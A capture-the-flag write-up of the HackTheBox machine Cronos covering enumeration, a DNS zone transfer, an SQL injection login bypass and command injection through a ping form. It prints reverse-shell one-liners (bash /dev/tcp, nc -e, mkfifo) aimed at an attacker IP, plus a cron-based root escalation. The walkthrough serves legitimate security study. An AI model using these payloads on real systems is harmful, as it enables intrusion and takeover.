HackTheBox: Cronos

This write-up is part of a write-up series which have few goals:

• learn
• prepare for the OSCP exam
• share my thinking process, what I learned and what I did wrong in the process of hacking the machine
• share what I learned reading other write ups

ENUMERATION

Nmap tcp full scan

nmap -A -p- -oN nmap_tcp_all.txt 10.10.10.13

The nmap output highlighted the presence of:

• SSH on port 22: OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
• domain name server on port 53: ISC BIND 9.10.3-P4
• web server on port 80: Apache httpd 2.4.18

EXPLOITATION

Since when I see a web server I often start the enumeration from there and since one of the error I usually do when a web server is running is not using different wordlists and/or multiple extensions I went for gobuster with :txt,cnf,conf,php …

gobuster dir -u 10.10.10.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,cnf,conf,php -o go_23med_80_ext.txt -t 40

…and sh as extensions.

DNS

The web server path didn’t look promising. It was time to enumerate port 53 . I had two options:

• Search for an exploit related to the exposed version of the service ISC BIND 9.10.3-P4 .
• Attempt a zone transfer.

First option didn’t seem to be fruitful.

From Acunetix:

DNS zone transfers using the AXFR protocol are the simplest mechanism to replicate DNS records across DNS servers. To avoid the need to edit information on multiple DNS servers, you can edit information on one server and use AXFR to copy information to other servers. However, if you do not protect your servers, malicious parties may use AXFR to get information about all your hosts.

When you see that the port 53/TCP is open that should ring a bell and suggest that the target is a name server which could allow for zone transfers. From IETF:

With this command we queried the name server (10.10.10.13) for information about cronos.htb domain.

dig axf @10.10.10.13 cronos.htb

A records point to logical domain names. In the dig output:

• cronos.htb 10.10.10.13
• admin.cronos.htb 10.10.10.13
• ns1.cronos.htb 10.10.10.13
• www.cronos.htb 10.10.10.13

To correctly resolves these domain names you can:

• add 10.10.10.13 as another DNS in /etc/resolv.conf
• add the association between ip and domain name in /etc/hosts in order to override current DNS resolution.

I used the second option:

The domains became reachable.

SQL injection Bypass

The login form at admin.cronos.htb was most likely our entry point.

As a reminder, when you find a login form 3 options to consider could be:

• Default credentials (also look for official documentation if you are facing a cms)
• SQLi
• Bruteforce

I tried admin/admin, admin/cronos, admin/, admin/password , etc. Nothing worked.

Then I looked for an error-based sqli but inserting ‘ didn’t give me any error…

Suddenly I thought that since new page were available I had to enumerate them.

I was wrong. After some further enumeration I went back the login form and tried the classic SQLi payload to bypass the authentication…

…and it worked 😶.

Command Injection

In this page you had two commands to execute, traceroute and ping .

I tried to ping the box itself.

The command output was echoed back in the page.

That suggested a concatenation of traceroute, ping with the IP inserted by the user. The .php file could potentially contain something like system($_POST[command].' '.$_POST[host]) . Then it was time to check for command injection .

Attempts to obtain a rev shell:
10.10.10.13; bash -i >& /dev/tcp/10.10.16.144/4545 0>&1

10.10.10.13; nc -e /bin/bash 10.10.16.144 4545

The last one worked.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.144 4545 >/tmp/f

The shell was upgraded using python pty .

PRIVILEGE ESCALATION

Cron job run as root with loose permissions

linux-smart-enumeration script output highlighted that the current user could write /var/www/laravel/artisan which was run as root.

Trying to modify artisan with vim was a mess... Then I transferred to the target system a php reverse shell (/usr/share/webshells/php/php-reverse-shell.php) renamed as artisanand overwritten the original file.

After a minute a root reverse shell was obtained.

Lavarel scheduled task

In his video ippsec uses linenum.sh as linux enumeration script. As you can see below it doesn’t highlight the fact that the current user has write permission on /var/www/laravel/artisan .

From laravel doc:

Ippsec creates and compile a C program which spawns a new shell with root privileges.

Then adds a scheduled task which:

• sets root as the new owner of the executable
• sets SUID bit
• assignsexecution permission to the executable.

The file which needs to be modified is /var/www/laravel/app/Console/Kernel.php

EXTRA

SQL injection source code

The original query.

SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";

The injected query.

SELECT id FROM users WHERE username = '' or 1=1 -- -'' and password = '".$mypassword."'";

The part in italic after the injection is ignored because of the content. I was lucky…

My guess is that the db contains only the admin user in the users table because the injection — which should return all the users — shouldn’t work with more rows as result since the presence of this condition: if($count == 1) .

In the case where more users are present this 2 payloads can be helpful:

• ' or 1=1 LIMIT 1-- - to get only the first results hoping it is an admin account.
• admin' or 1=1-- - guess the username and avoid the password check.

Command Injection source code

The original instruction.

exec($command.’ ‘.$host, $output, $return);

exec(ping -c 1.’ ‘.10.10.10.13, $output, $return);

The injected instruction.

exec($command.’ ‘.$host, $output, $return);

exec(ping -c 1.’ ‘.10.10.10.13;whoami, $output, $return);

Another way was to check the POST request (reported below) and then send it to the repeater and change the value of command with a reverse shell payload.

From ippsec video:

LESSONS LEARNED

• 53/tcp indicates that the target is a DNS. Try zone transfer with dig axf @10.10.10.10 <domain> .
• add the dns ip to /etc/resolv.conf or add ip address association to /etc/hosts .
• Don’t rely only on error-based sqli. Try authentication bypass payloads like ' or 1=1-- .
• Trusting user input without sanitization and executing a non prepared sql statement can lead to sqli authentication bypass.
• Trusting user input without sanitization and running commands on the server based on that input can lead to command injection.